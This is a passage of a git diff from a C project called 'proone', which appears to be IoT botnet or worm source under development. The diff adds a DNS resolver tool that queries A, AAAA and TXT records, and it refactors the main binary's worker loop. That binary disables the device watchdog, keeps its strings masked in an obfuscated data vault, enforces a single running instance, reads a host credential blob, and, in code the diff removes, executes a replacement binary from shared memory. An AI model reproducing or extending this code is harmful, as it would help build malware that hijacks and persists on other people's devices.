// endian conversion as the file is big endian
- head[1] = (uint8_t)(((uint32_t)st.st_size & 0x00FF0000) >> 16);
- head[2] = (uint8_t)(((uint32_t)st.st_size & 0x0000FF00) >> 8);
- head[3] = (uint8_t)((uint32_t)st.st_size & 0x000000FF);
+ head[1] = (uint8_t)(((uint_fast32_t)st.st_size & 0x00FF0000) >> 16);
+ head[2] = (uint8_t)(((uint_fast32_t)st.st_size & 0x0000FF00) >> 8);
+ head[3] = (uint8_t)((uint_fast32_t)st.st_size & 0x000000FF);
if (write(STDOUT_FILENO, head, 4) != 4) {
perror("write()");
proc_result = false;
@@ -133,11 +134,11 @@ int main (const int argc, const char **args) {
break;
}
- close(bin_fd);
+ prne_close(bin_fd);
bin_fd = -1;
}
- close(bin_fd);
+ prne_close(bin_fd);
bin_fd = -1;
errno = 0;
diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c
index d5acf0f..c22ff68 100644
--- a/src/proone-print-all-data.c
+++ b/src/proone-print-all-data.c
@@ -15,7 +15,7 @@ int main (void) {
for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) {
type = (prne_data_type_t)PRNE_DATA_DICT[i][0];
- printf("%10lld(%" TYPE_STR_PADDING "s): ", (long long)i, prne_data_type2str(type));
+ printf("%10lld(%" TYPE_STR_PADDING "s): ", (long long)i, prne_data_type_tostr(type));
switch (type) {
case PRNE_DATA_TYPE_CSTR:
printf("%s", prne_dvault_unmask_entry_cstr(i, NULL));
@@ -32,7 +32,7 @@ int main (void) {
break;
}
default:
- fprintf(stderr, "Error: unknown data type (%d)'%s'\n", (int)type, prne_data_type2str(type));
+ fprintf(stderr, "Error: unknown data type (%d)'%s'\n", (int)type, prne_data_type_tostr(type));
abort();
}
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
new file mode 100644
index 0000000..3c035de
--- /dev/null
+++ b/src/proone-resolv.c
@@ -0,0 +1,402 @@
+#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <ctype.h>
+
+#include <unistd.h>
+#include <signal.h>
+#include <regex.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <arpa/inet.h>
+
+#include <mbedtls/entropy.h>
+
+#include "util_rt.h"
+#include "llist.h"
+#include "resolv_worker.h"
+
+
+static int caught_signal = 0;
+static int int_pipe[2] = { -1, -1 };
+static regex_t prmpt_regex, empty_line_regex;
+
+static mbedtls_entropy_context entropy;
+static mbedtls_ctr_drbg_context rnd;
+static prne_wkr_sched_req_t wsr;
+
+static prne_wkr_pollfd_slot_pt stdin_pfd = NULL;
+typedef struct {
+ prne_resolv_prm_t prm;
+ prne_wkr_pollfd_slot_pt slot;
+} prm_tuple_t;
+prne_llist_t prm_list;
+
+prne_resolv_wkr_ctx_t resolv = NULL;
+
+static void upperstr (char *str, const size_t n) {
+ for (size_t i = 0; i < n; i += 1) {
+ if ('a' <= str[i] && str[i] <= 'z') {
+ str[i] -= 'a' - 'A';
+ }
+ }
+}
+
+static bool printable_str (const char *str, const size_t n) {
+ for (size_t i = 0; i < n; i += 1) {
+ if (!isprint(str[i])) {
+ return false;
+ }
+ }
+ return true;
+}
+
+static void proc_prompt_line (char *line, const size_t line_len) {
+ static regmatch_t rm[3];
+
+ if (regexec(&prmpt_regex, line, 3, rm, 0) == 0) {
+ char *verb, *obj;
+ size_t verb_len, obj_len;
+ prm_tuple_t tpl;
+ bool has_prm = false;
+
+ assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0);
+
+ verb = line + rm[1].rm_so;
+ verb_len = rm[1].rm_eo - rm[1].rm_so;
+ upperstr(verb, verb_len);
+ obj = line + rm[2].rm_so;
+ obj_len = rm[2].rm_eo - rm[2].rm_so;
+ obj[obj_len] = 0;
+
+ if (strncmp(verb, "A", verb_len) == 0) {
+ has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &tpl.prm, NULL);
+ }
+ else if (strncmp(verb, "AAAA", verb_len) == 0) {
+ has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &tpl.prm, NULL);
+ }
+ else if (strncmp(verb, "TXT", verb_len) == 0) {
+ has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &tpl.prm, NULL);
+ }
+ else {
+ abort();
+ }
+
+ if (has_prm) {
+ prm_tuple_t *e;
+
+ tpl.slot = prne_alloc_wkr_pollfd_slot(&wsr);
+ tpl.slot->pfd.fd = tpl.prm.evtfd;
+ tpl.slot->pfd.events = POLLIN;
+ e = prne_malloc(sizeof(prm_tuple_t), 1);
+ memcpy(e, &tpl, sizeof(prm_tuple_t));
+
+ assert(prne_llist_append(&prm_list, e) != NULL);
+ }
+ else {
+ perror("* Queue failed");
+ }
+ }
+ else if (line_len > 0 && regexec(&empty_line_regex, line, 0, NULL, 0) != 0) {
+ fprintf(stderr, "* Line not recognised.\n");
+ }
+
+ fprintf(stderr, "> ");
+ fflush(stderr);
+}
+
+static void main_wkr_free (void *ctx) {
+ prne_llist_entry_t *cur;
+
+ prne_free_wkr_pollfd_slot(stdin_pfd);
+ stdin_pfd = NULL;
+
+ cur = prm_list.head;
+ while (cur != NULL) {
+ prm_tuple_t *tpl = (prm_tuple_t*)cur->element;
+ prne_free_wkr_pollfd_slot(tpl->slot);
+ prne_resolv_free_prm(&tpl->prm);
+ prne_free(tpl);
+ cur = cur->next;
+ }
+
+ prne_free_llist(&prm_list);
+}
+
+static void main_wkr_fin (void *ctx) {
+ prne_free_wkr_pollfd_slot(stdin_pfd);
+ stdin_pfd = NULL;
+}
+
+static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) {
+ if (stdin_pfd != NULL) {
+ if (stdin_pfd->pfd.revents & POLLIN) {
+ static char line_buf[512];
+ static size_t line_buf_cnt = 0;
+ static bool missed_line = false;
+ int read_len;
+
+ read_len = read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt);
+ if (read_len > 0) {
+ char *line_buf_end, *line, *line_end;
+ size_t line_len, consumed = 0;
+
+ line_buf_cnt += (size_t)read_len;
+ line_buf_end = line_buf + line_buf_cnt;
+ line = line_buf;
+ while (line < line_buf_end) {
+ line_end = prne_strnchr(line, '\n', line_buf_end - line);
+ if (line_end == NULL) {
+ break;
+ }
+
+ if (missed_line) {
+ missed_line = false;
+ }
+ else {
+ *line_end = 0;
+ line_len = line_end - line;
+ proc_prompt_line(line, line_len);
+ }
+ consumed += line_end - line + 1;
+ line = line_end + 1;
+ }
+
+ if (consumed > 0) {
+ memmove(line_buf, line, line_buf_cnt - consumed);
+ line_buf_cnt -= consumed;
+ }
+ else {
+ line_buf_cnt = 0;
+ if (!missed_line) {
+ fprintf(stderr, "* Line too long!\n");
+ }
+ missed_line = true;
+ }
+ }
+ else {
+ kill(getpid(), SIGTERM);
+ return;
+ }
+ }
+ else if (stdin_pfd->pfd.revents) {
+ kill(getpid(), SIGTERM);
+ return;
+ }
+ }
+ if (prm_list.size > 0) {
+ prm_tuple_t *tpl;
+ prne_llist_entry_t *cur;
+ bool output = false;
+
+ cur = prm_list.head;
+ while (cur != NULL) {
+ tpl = (prm_tuple_t*)cur->element;
+
+ assert((tpl->slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0);
+
+ if (tpl->slot->pfd.revents) {
+ static char ntop_buf[INET6_ADDRSTRLEN];
+ const char *qr_str, *status_str;
+ size_t i;
+
+ output = true;
+ fprintf(stderr, "\n");
+
+ qr_str = prne_resolv_qr_tostr(tpl->prm.fut->qr);
+ assert(qr_str != NULL);
+ status_str = NULL;
+ if (tpl->prm.fut->qr == PRNE_RESOLV_QR_OK || tpl->prm.fut->qr == PRNE_RESOLV_QR_STATUS) {
+ status_str = prne_resolv_rcode_tostr(tpl->prm.fut->status);
+ }
+ if (status_str == NULL) {
+ status_str = "";
+ }
+ printf("; qr: %7s, err: %3d, status: (%u)%s\n",
+ qr_str, tpl->prm.fut->err, tpl->prm.fut->status, status_str);
+ for (i = 0; i < tpl->prm.fut->rr_cnt; i += 1) {
+ prne_resolv_rr_t *rr = tpl->prm.fut->rr + i;
+ const char *type_str;
+
+ type_str = prne_resolv_rrtype_tostr(rr->rr_type);
+ if (type_str == NULL) {
+ type_str = "";
+ }
+
+ printf(";\ttype: (%2u)%5s, ttl: %10u, len: %5u, name: %s\n",
+ rr->rr_type, type_str, rr->rr_ttl, rr->rd_len, rr->name);
+ switch (rr->rr_type) {
+ case PRNE_RESOLV_RTYPE_A: printf(";\t\t%s\n", inet_ntop(AF_INET, rr->rd_data, ntop_buf, INET6_ADDRSTRLEN)); break;
+ case PRNE_RESOLV_RTYPE_AAAA: printf(";\t\t%s\n", inet_ntop(AF_INET6, rr->rd_data, ntop_buf, INET6_ADDRSTRLEN)); break;
+ case PRNE_RESOLV_RTYPE_TXT:
+ if (isatty(STDOUT_FILENO) && !printable_str((const char *)rr->rd_data + 1, rr->rd_data[0])) {
+ printf(";\t\t* (binary data - unable to print on terminal)\n");
+ }
+ else {
+ uint8_t tmp = rr->rd_data[0];
+
+ memmove(rr->rd_data, rr->rd_data + 1, tmp);
+ rr->rd_data[tmp] = 0;
+ printf(";\t\t%s\n", rr->rd_data);
+ memmove(rr->rd_data + 1, rr->rd_data, tmp);
+ rr->rd_data[0] = tmp;
+ }
+ break;
+ default: abort();
+ }
+ }
+ printf(";\n");
+
+ prne_resolv_free_prm(&tpl->prm);
+ prne_free_wkr_pollfd_slot(tpl->slot);
+ prne_free(tpl);
+ cur = prne_llist_erase(&prm_list, cur);
+ }
+ else {
+ cur = cur->next;
+ }
+ }
+
+ if (output) {
+ fprintf(stderr, "> ");
+ fflush(stdout);
+ fflush(stderr);
+ }
+ }
+}
+
+static bool main_wkr_has_finalised (void *ctx) {
+ return stdin_pfd == NULL && prm_list.size == 0;
+}
+
+static void init_main_wkr (prne_worker_t *wkr) {
+ wkr->ctx = NULL;
+ wkr->free = main_wkr_free;
+ wkr->fin = main_wkr_fin;
+ wkr->work = main_wkr_work;
+ wkr->has_finalised = main_wkr_has_finalised;
+
+ stdin_pfd = prne_alloc_wkr_pollfd_slot(&wsr);
+ stdin_pfd->pfd.fd = STDIN_FILENO;
+ stdin_pfd->pfd.events = POLLIN;
+
+ prne_init_llist(&prm_list);
+}
+
+static void handle_interrupt (const int sn) {
+ caught_signal = sn;
+ write(int_pipe[1], &sn, 1);
+}
+
+static void install_signal_handlers (void) {
+ struct sigaction sa;
+
+ if (pipe(int_pipe) == 0) {
+ prne_set_pipe_size(int_pipe[0], 1);
+ prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
+ prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
+ }
+
+ memset(&sa, 0, sizeof(struct sigaction));
+ sa.sa_flags = SA_RESETHAND;
+ sa.sa_handler = handle_interrupt;
+
+ sigaction(SIGINT, &sa, NULL);
+ sigaction(SIGTERM, &sa, NULL);
+}
+
+int main (void) {
+ static prne_worker_t wkr_arr[2];
+ static size_t i;
+ static prne_wkr_tick_info_t ti;
+ static int poll_ret;
+ static bool finalising = false;
+ static prne_wkr_pollfd_slot_pt int_pfd = NULL;
+
+ /* org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) */
+ assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0);
+ /* org regex: ^\s+$ */
+ assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0);
+ mbedtls_entropy_init(&entropy);
+ mbedtls_ctr_drbg_init(&rnd);
+ assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0);
+ prne_init_wkr_sched_req(&wsr);
+ prne_init_wkr_tick_info(&ti);
+
+ prne_ok_or_die(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK));
+ install_signal_handlers();
+ int_pfd = prne_alloc_wkr_pollfd_slot(&wsr);
+ int_pfd->pfd.fd = int_pipe[0];
+ int_pfd->pfd.events = POLLIN;
+
+ init_main_wkr(&wkr_arr[0]);
+ wkr_arr[0].id = 0;
+ resolv = prne_alloc_resolv_worker(&wkr_arr[1], &wsr, &rnd);
+ assert(resolv != NULL);
+
+ fprintf(stderr, "> ");
+ fflush(stderr);
+
+ prne_wkr_tick_info_set_start(&ti);
+ while (true) {
+ static bool worked;
+
+ if (caught_signal && !finalising) {
+ int_pfd->pfd.fd = -1;
+
+ for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) {
+ if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) {
+ continue;
+ }
+ wkr_arr[i].fin(wkr_arr[i].ctx);
+ }
+ finalising = true;
+ }
+
+ worked = false;
+ for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) {
+ if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) {
+ if (!finalising) {
+ fprintf(stderr, "** worker #%zu finalised!\n", wkr_arr[i].id);
+ abort();
+ }
+ }
+ else {
+ wkr_arr[i].work(wkr_arr[i].ctx, &ti);
+ worked = true;
+ }
+ }
+ if (!worked) {
+ break;
+ }
+
+ poll_ret = -1;
+ if (prne_wkr_sched_req_prep_poll(&wsr)) {
+ prne_wkr_sched_req_do_poll(&wsr, &poll_ret);
+ }
+ prne_wkr_tick_info_set_tick(&ti);
+ prne_wkr_sched_req_refl_poll(&wsr, poll_ret, ti.tick_diff);
+ }
+
+ for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) {
+ wkr_arr[i].free(wkr_arr[i].ctx);
+ }
+ prne_free_wkr_pollfd_slot(int_pfd);
+ prne_free_wkr_sched_req(&wsr);
+ prne_free_wkr_tick_info(&ti);
+
+ mbedtls_ctr_drbg_free(&rnd);
+ mbedtls_entropy_free(&entropy);
+ regfree(&prmpt_regex);
+ regfree(&empty_line_regex);
+
+ fprintf(stderr, "\n");
+
+ return 0;
+}
diff --git a/src/proone-unpack.c b/src/proone-unpack.c
index d865bd4..295fedb 100644
--- a/src/proone-unpack.c
+++ b/src/proone-unpack.c
@@ -109,7 +109,7 @@ int main (const int argc, const char **args) {
}
for (i = 0; i < bin_archive.nb_binaries; i += 1) {
- arch_str = prne_arch2str(bin_archive.arch_arr[i]);
+ arch_str = prne_arch_tostr(bin_archive.arch_arr[i]);
if (arch_str == NULL) {
fprintf(stderr, "** unrecognised arch!");
exit_code = 2;
@@ -137,12 +137,12 @@ int main (const int argc, const char **args) {
exit_code = 2;
break;
}
- close(fd);
+ prne_close(fd);
}
} while (false);
prne_free(path);
- close(fd);
+ prne_close(fd);
prne_free_unpack_bin_archive_result(&unpack_ret);
prne_free_bin_archive(&bin_archive);
diff --git a/src/proone.c b/src/proone.c
index c5354ff..be89d23 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -15,45 +15,43 @@
#include <sys/mman.h>
#include <sys/file.h>
#include <sys/wait.h>
-#include <sys/random.h>
#include "proone.h"
+#include "protocol.h"
#include "util_rt.h"
#include "dvault.h"
-#include "heartbeat-worker.h"
+#include "llist.h"
+// #include "htbt-worker.h"
+#include "mbedtls.h"
#include "proone_conf/x509.h"
struct prne_global prne_g;
struct prne_shared_global *prne_s_g = NULL;
-
-typedef struct {
- prne_worker_t worker;
- prne_worker_sched_req_t sched_req;
-} worker_tuple_t;
-
-typedef struct {
- struct pollfd *arr;
- size_t size;
-} pollfd_pool_t;
-
-static worker_tuple_t worker_pool[1];
-static size_t worker_pool_size = 0;
+static prne_worker_t resolv_wkr;
+static prne_worker_t htbt_wkr;
+static prne_worker_t* wkr_arr[2] = { NULL, NULL };
+static prne_llist_t wkr_pool;
static void (*proc_fin_call_ptr)(void) = NULL;
static bool finalising = false;
-static pollfd_pool_t pollfd_pool;
-
-static prne_rnd_engine_t *mk_rnd_engine (void);
+static int int_pipe[2] = { -1, -1 };
+static prne_wkr_pollfd_slot_pt int_pfd = NULL;
static void proc_fin_call (void) {
if (prne_g.caught_signal != 0) {
- size_t i;
- worker_tuple_t *wt;
+ prne_llist_entry_t *cur = wkr_pool.head;
+ prne_worker_t *w;
+
+ prne_free_wkr_pollfd_slot(int_pfd);
+ int_pfd = NULL;
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = worker_pool + i;
- wt->worker.fin(wt->worker.ctx);
+ while (cur != NULL) {
+ w = (prne_worker_t*)cur->element;
+ if (!w->has_finalised(w->ctx)) {
+ w->fin(w->ctx);
+ }
+ cur = cur->next;
}
proc_fin_call_ptr = prne_empty_func;
@@ -61,164 +59,150 @@ static void proc_fin_call (void) {
}
}
-static int proone_main (void) {
- int exit_code = 0;
- size_t i;
- worker_tuple_t *wt;
- prne_worker_sched_info_t sched_info;
-
- prne_g.rnd = mk_rnd_engine();
-
- // done with the terminal
- close(STDIN_FILENO);
- close(STDOUT_FILENO);
- close(STDERR_FILENO);
+static void init_workers (prne_wkr_sched_req_t *sched_req) {
+ prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd);
+ if (prne_g.resolv != NULL) {
+ resolv_wkr.id = PRNE_RESOLV_WKR_ID;
+ wkr_arr[0] = &resolv_wkr;
+ prne_llist_append(&wkr_pool, &resolv_wkr);
+ }
+}
-#ifndef PRNE_DEBUG
- signal(SIGPIPE, SIG_IGN);
+#ifdef PRNE_DEBUG
+static void handle_sigpipe (const int sn) {
+ // ALWAYS poll() before writing to fd!
+ abort();
+}
#endif
- // init workers
- if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) {
- worker_pool_size += 1;
- }
+static int proone_main (void) {
+#ifdef PRNE_DEBUG
+ static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s
+#endif
+ static int exit_code = 0, poll_ret;
+ static prne_wkr_tick_info_t tick_info;
+ static prne_wkr_sched_req_t sched_req;
+ static prne_llist_entry_t *cur;
+ static prne_worker_t *wkr;
+#ifdef PRNE_DEBUG
+ static struct {
+ prne_wkr_sched_req_t sched;
+ prne_wkr_timeout_slot_pt busy_tos;
+ bool sched_ret;
+ } dbg;
+#endif
- // TODO
+#ifdef PRNE_DEBUG
+ signal(SIGPIPE, handle_sigpipe);
+#else
+ signal(SIGPIPE, SIG_IGN);
+#endif
- for (i = 0; i < worker_pool_size; i += 1) {
- prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL);
+#ifdef PRNE_DEBUG
+ prne_init_wkr_sched_req(&dbg.sched);
+ dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched);
+ assert(dbg.busy_tos != NULL);
+#endif
+ prne_init_wkr_sched_req(&sched_req);
+ prne_init_wkr_tick_info(&tick_info);
+ prne_init_llist(&wkr_pool);
+ init_workers(&sched_req);
+ if (pipe(int_pipe) == 0) {
+ prne_set_pipe_size(int_pipe[0], 1);
+ prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
+ prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
+ }
+ int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req);
+ if (int_pfd != NULL) {
+ int_pfd->pfd.fd = int_pipe[0];
+ int_pfd->pfd.events = POLLIN;
+ }
+
+ if (wkr_pool.size == 0) {
+ exit_code = 1;
+ goto END;
}
-
- if (worker_pool_size == 0 || prne_g.caught_signal != 0) {
+ if (prne_g.caught_signal != 0) {
goto END;
}
proc_fin_call_ptr = proc_fin_call;
-
- prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick));
- pollfd_pool.arr = NULL;
- pollfd_pool.size = 0;
+ prne_wkr_tick_info_set_start(&tick_info);
while (true) {
- prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE;
- struct timespec timeout;
- size_t total_pollfd_size = 0;
- bool worked = false;
-
- prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick));
- sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick);
- sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff);
-
proc_fin_call_ptr();
-
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = worker_pool + i;
-
- if (wt->worker.has_finalised(wt->worker.ctx)) {
- continue;
- }
- wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req);
- worked |= true;
+ cur = wkr_pool.head;
+ while (cur != NULL) {
+ wkr = (prne_worker_t*)cur->element;
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
- if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
- if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) {
- timeout = wt->sched_req.timeout;
- }
- }
- else {
- timeout = wt->sched_req.timeout;
- }
+ if (wkr->has_finalised(wkr->ctx)) {
+ cur = prne_llist_erase(&wkr_pool, cur);
}
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
- total_pollfd_size += wt->sched_req.pollfd_arr_size;
+ else {
+ wkr->work(wkr->ctx, &tick_info);
+ cur = cur->next;
}
-
- all_sched_flag |= wt->sched_req.flags;
}
- sched_info.last_tick = sched_info.this_tick;
-
- if (!worked) {
- if (!finalising) {
- exit_code = 1;
- }
+ if (wkr_pool.size == 0) {
+ exit_code = finalising ? 0 : 1;
break;
}
- else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) {
- void *ny_mem;
- size_t pollfd_ptr;
-
- /* FIXME: `total_pollfd_size` could be zero if there's some bug in
- * one of the workers.
- */
- ny_mem = prne_realloc(pollfd_pool.arr, sizeof(struct pollfd), total_pollfd_size);
- if (ny_mem != NULL) {
- pollfd_pool.arr = (struct pollfd*)ny_mem;
- pollfd_pool.size = total_pollfd_size;
-
- pollfd_ptr = 0;
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = &worker_pool[i];
-
- if (wt->worker.has_finalised(wt->worker.ctx)) {
- continue;
- }
-
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
- wt->sched_req.pollfd_ready = false;
- memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd));
- pollfd_ptr += wt->sched_req.pollfd_arr_size;
- }
- }
- if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) {
- switch (errno) {
- case EINTR:
- case ENOMEM:
- break;
- default:
- abort();
- }
- }
- else {
- pollfd_ptr = 0;
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = &worker_pool[i];
-
- if (wt->worker.has_finalised(wt->worker.ctx)) {
- continue;
- }
-
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
- wt->sched_req.pollfd_ready = true;
- memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size);
- pollfd_ptr += wt->sched_req.pollfd_arr_size;
- }
- }
+ poll_ret = -1;
+ if (prne_wkr_sched_req_prep_poll(&sched_req)) {
+#ifdef PRNE_DEBUG
+ if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) {
+ if (!dbg.busy_tos->active) {
+ dbg.busy_tos->active = true;
+ dbg.busy_tos->dur = DBG_BUSY_CHECK_INT;
}
}
+ else {
+ dbg.busy_tos->active = false;
+ }
+ dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched);
+#endif
+ prne_wkr_sched_req_do_poll(&sched_req, &poll_ret);
}
- else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
- if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) {
- abort();
+ else {
+#ifdef PRNE_DEBUG
+ dbg.busy_tos->active = false;
+ dbg.sched_ret = false;
+#endif
+ }
+ prne_wkr_tick_info_set_tick(&tick_info);
+ prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff);
+#ifdef PRNE_DEBUG
+ if (dbg.sched_ret) {
+ prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff);
+ if (dbg.busy_tos->active && dbg.busy_tos->reached) {
+ const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT);
+ dbg.busy_tos->active = false;
+ fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s");
}
}
+#endif
}
END:
- prne_free(pollfd_pool.arr);
- pollfd_pool.arr = NULL;
- pollfd_pool.size = 0;
-
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = &worker_pool[i];
- wt->worker.free(wt->worker.ctx);
- wt->sched_req.mem_func.free(&wt->sched_req);
- }
-
- prne_free_rnd_engine(prne_g.rnd);
- prne_g.rnd = NULL;
+ for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) {
+ if (wkr_arr[i] == NULL) {
+ continue;
+ }
+ wkr_arr[i]->free(wkr_arr[i]->ctx);
+ wkr_arr[i] = NULL;
+ }
+ prne_free_llist(&wkr_pool);
+ prne_free_wkr_pollfd_slot(int_pfd);
+ prne_free_wkr_tick_info(&tick_info);
+ prne_free_wkr_sched_req(&sched_req);
+#ifdef PRNE_DEBUG
+ prne_free_wkr_timeout_slot(dbg.busy_tos);
+ prne_free_wkr_sched_req(&dbg.sched);
+#endif
return exit_code;
}
@@ -226,7 +210,7 @@ END:
static bool ensure_single_instance (void) {
prne_g.lock_shm_fd = shm_open(
prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
- O_RDWR | O_CREAT | O_TRUNC,
+ O_RDWR | O_CREAT,
0666);
prne_dvault_reset_dict();
if (prne_g.lock_shm_fd < 0) {
@@ -234,7 +218,7 @@ static bool ensure_single_instance (void) {
}
if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) {
- close(prne_g.lock_shm_fd);
+ prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
return false;
@@ -278,7 +262,7 @@ static void disasble_watchdog (void) {
for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) {
if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) {
ioctl(fd, 0x80045704, &one);
- close(fd);
+ prne_close(fd);
break;
}
}
@@ -286,11 +270,10 @@ static void disasble_watchdog (void) {
}
static void handle_interrupt (const int sig) {
- prne_g.caught_signal = sig;
+ uint8_t rubbish = 0;
- if (prne_g.proone_pid != 0) {
- kill(prne_g.proone_pid, sig);
- }
+ prne_g.caught_signal = sig;
+ write(int_pipe[1], &rubbish, 1);
}
static void setup_signal_actions (void) {
@@ -305,30 +288,6 @@ static void setup_signal_actions (void) {
sigaction(SIGTERM, &sa, NULL);
}
-static void print_ready_signature (prne_rnd_engine_t *rnd) {
- size_t len;
- uint8_t *sig_data;
- char *plain_str, *sig_str;
-
- plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len);
-
- sig_data = (uint8_t*)prne_malloc(1, len + 1);
- sig_data[0] = (uint8_t)(prne_rnd_gen_int(rnd) % 256);
- memcpy(sig_data + 1, plain_str, len);
- prne_dvault_reset_dict();
- prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
-
- sig_str = prne_enc_base64_mem(sig_data, len);
- if (sig_str == NULL) {
- abort();
- }
-
- puts(sig_str);
-
- prne_free(sig_str);
- prne_free(sig_data);
-}
-
static void read_host_credential (void) {
static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
char *buf = (char*)prne_malloc(1, buf_size);
@@ -345,8 +304,12 @@ static void read_host_credential (void) {
break;
}
}
- if (found) {
- prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size);
+ if (found &&
+ prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) &&
+ prne_g.host_cred_size > 1 + 2 + 255 * 2) {
+ prne_free(prne_g.host_cred_data);
+ prne_g.host_cred_data = NULL;
+ prne_g.host_cred_size = 0;
}
END:
@@ -357,143 +320,54 @@ static void set_env (void) {
// environment set up function calls in here
}
-static void create_ny_bin_shm (prne_rnd_engine_t *rnd) {
- const size_t str_len = 1 + 10;
-
- prne_g.ny_bin_shm_name = prne_malloc(1, str_len + 1);
- if (prne_g.ny_bin_shm_name == NULL) {
- return;
- }
-
- prne_g.ny_bin_shm_name[0] = '/';
- prne_g.ny_bin_shm_name[str_len] = 0;
- prne_rnd_anum_str(rnd, prne_g.ny_bin_shm_name + 1, str_len - 1);
-
- prne_g.ny_bin_shm_fd = shm_open(prne_g.ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0000);
- if (prne_g.ny_bin_shm_fd < 0) {
- prne_free(prne_g.ny_bin_shm_name);
- prne_g.ny_bin_shm_name = NULL;
- }
-}
-
-static void exec_ny_bin (void) {
- // Just die on error
- static const size_t proc_fd_path_size = 14 + 11 + 1;
- uint8_t *data, *bin = NULL;
- size_t i, args_size, bin_size, argc = 0, cnt;
